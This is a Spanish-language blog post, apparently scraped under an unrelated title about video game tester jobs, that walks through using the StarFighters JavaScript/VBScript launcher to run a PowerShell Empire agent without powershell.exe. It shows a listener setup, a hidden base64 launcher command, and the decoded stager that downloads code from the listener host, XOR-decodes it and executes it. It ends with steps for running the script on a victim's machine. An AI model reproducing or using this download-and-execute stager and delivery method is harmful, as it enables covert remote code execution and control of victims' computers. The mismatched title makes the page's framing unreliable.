Tester Jobs Requirements (VIDEO GAME)

Siguiendo el hilo de entradas sobre PowerShell hoy traemos StartFighters, un Launcher de Empire en VBScript/Javascript que se ejecuta dentro de su propio Host de PowerShell, embebido en JavaScript mediante DotNetToJScript. Y es que si hace varios d�as ve�amos c�mo ejecutar PowerShell s�lo con dlls, mediante rundll32, con esta herramienta podremos tambi�n ejecutar un agente de Empire sin powershell.exe, s�lo ejecutando un script en vbs o js.

Recordemos que el launcher_vbs que trae por defecto Empire llama al stager con powershell.exe -NoP -sta -NonI -W Hidden -Enc ... as� que est� herramienta puede resultarnos bastante �til en algunos entornos...

1. Para probarla empezaremos levantando un listener en PowerShell Empire (en nuestro caso el mod de Hackplayers).

root@poc1lg4:/tools/powershell/Empire-mod-Hackplayers# ./empire 
[*] Loading modules from: /tools/powershell/Empire-mod-Hackplayers/lib/modules/

====================================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 2.0 Mod: HackPlayers 
====================================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================
 __    __       ___       ______  __  ___                
|  |  |  |     /        /      ||  |/  /                
|  |__|  |    /  ^     |  ,----|    /                 
|   __   |   /  /_    |  |     |    <                  
|  |  |  |  /  _____  |  `----.|  .                   
|__|  |__| /__/     __ ______||__|__                
 _______ .___  ___. .______    __  .______       _______ 
|   ____||   /   | |   _    |  | |   _       |   ____|
|  |__   |    /  | |  |_)  | |  | |  |_)  |    |  |__   
|   __|  |  |/|  | |   ___/  |  | |      /     |   __|  
|  |____ |  |  |  | |  |      |  | |  |  ----.|  |____ 
|_______||__|  |__| | _|      |__| | _| `._____||_______|  Mod: HackPlayers

       209 modules currently loaded
       0 listeners currently active
       0 agents currently active

(Empire) > listeners
[!] No listeners currently active 

(Empire: listeners) > set Host http://192.168.1.180:8888
(Empire: listeners) > options

Listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        test                             Listener name.
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        5kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq Staging key for initial agent negotiation.
  Type              True        native                           Listener type (native, pivot, hop, foreign, meter).
  RedirectTarget    False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  Host              True        http://192.168.1.180:8888        Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile    True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                                process.jsp|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Port              True        8888                             Port for the listener.

(Empire: listeners) > execute
[*] Listener test successfully started.
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.1.180:8888            native    5/0.0

2. A continuaci�n ejecutaremos el comando Launcher para generar el c�digo para iniciar el proceso del staging.

(Empire: listeners) > launcher test
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AEUAbQAuAE4ARQBUAC4AUwBFAFIAdgBpAGMAZQBQAE8AaQBuAFQATQBhAE4AYQBHAEUAUgBdADoAOgBFAFgAUABlAEMAVAAxADAAMABDAG8AbgB0AGkATgB1AGUAIAA9ACAAMAA7ACQAdwBDAD0ATgBlAFcALQBPAEIAagBlAEMAVAAgAFMAeQBTAFQARQBtAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAQwAuAEgAZQBhAEQAZQByAFMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAHgAWQAgAD0AIABbAFMAeQBzAFQAZQBNAC4ATgBFAHQALgBXAEUAQgBSAEUAcQBVAEUAcwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AeABZADsAJABXAEMALgBQAFIATwBYAHkALgBDAFIARQBkAGUAbgB0AEkAYQBMAFMAIAA9ACAAWwBTAHkAcwB0AEUAbQAuAE4ARQBUAC4AQwBSAEUAZABlAE4AdABpAGEATABDAGEAQwBoAEUAXQA6ADoARABFAEYAYQBVAEwAdABOAEUAVAB3AG8AUgBLAEMAcgBlAEQARQBuAHQAaQBhAEwAcwA7ACQASwA9ACcANQBcAGsAcAB8AE0ALwAmACwASwBlAGQAbAAkAEMAagArAFkAQQB+AFYANgBKAEIAKgBaADQAdwBvAH0AdQBxACcAOwAkAGkAPQAwADsAWwBDAEgAYQBSAFsAXQBdACQAQgA9ACgAWwBDAGgAQQByAFsAXQBdACgAJABXAEMALgBEAE8AVwBuAEwATwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADgAMAA6ADgAOAA4ADgALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAEIAWABvAHIAJABrAFsAJABJACsAKwAlACQAawAuAEwARQBuAGcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAG8ASQBOACcAJwApAA==

Si quer�is entender un poquito m�s qu� hace este comando de una �nica l�nea pod�is decodificar el c�digo en base64:

[SyStEm.NET.SERvicePOinTMaNaGER]::EXPeCT100ContiNue = 0;$wC=NeW-OBjeCT SySTEm.NET.WEBClieNt;$u=Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko;$WC.HeaDerS.ADD(User-Agent,$u);$Wc.PrOxY = [SysTeM.NEt.WEBREqUEsT]::DeFAULtWeBPRoxY;$WC.PROXy.CREdentIaLS = [SystEm.NET.CREdeNtiaLCaChE]::DEFaULtNETwoRKCreDEntiaLs;$K=5kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq;$i=0;[CHaR[]]$B=([ChAr[]]($WC.DOWnLOadString("http://192.168.1.180:8888/index.asp")))|%{$_-BXor$k[$I++%$k.LEngTH]};IEX ($b-joIN)

3. El siguiente paso ser� pegar el c�digo en base64 como valor de la variable EncodedPayload:

* JavaScript:

  var EncodedPayload = "Pega el c�digo codificado del Launcher aqu�"

* VBScript:
 
  Dim EncodedPayload: EncodedPayload = "Pega el c�digo codificado del Launcher aqu�"


4. Finalmente, en el equipo del cliente de la v�ctima ejecutamos: wscript.exe StarFighter.js o StarFighter.vbs, o hacemos doble clic dentro del Explorer para obtener la sesi�n correspondiente:



Github: https://github.com/Cn33liz/StarFighters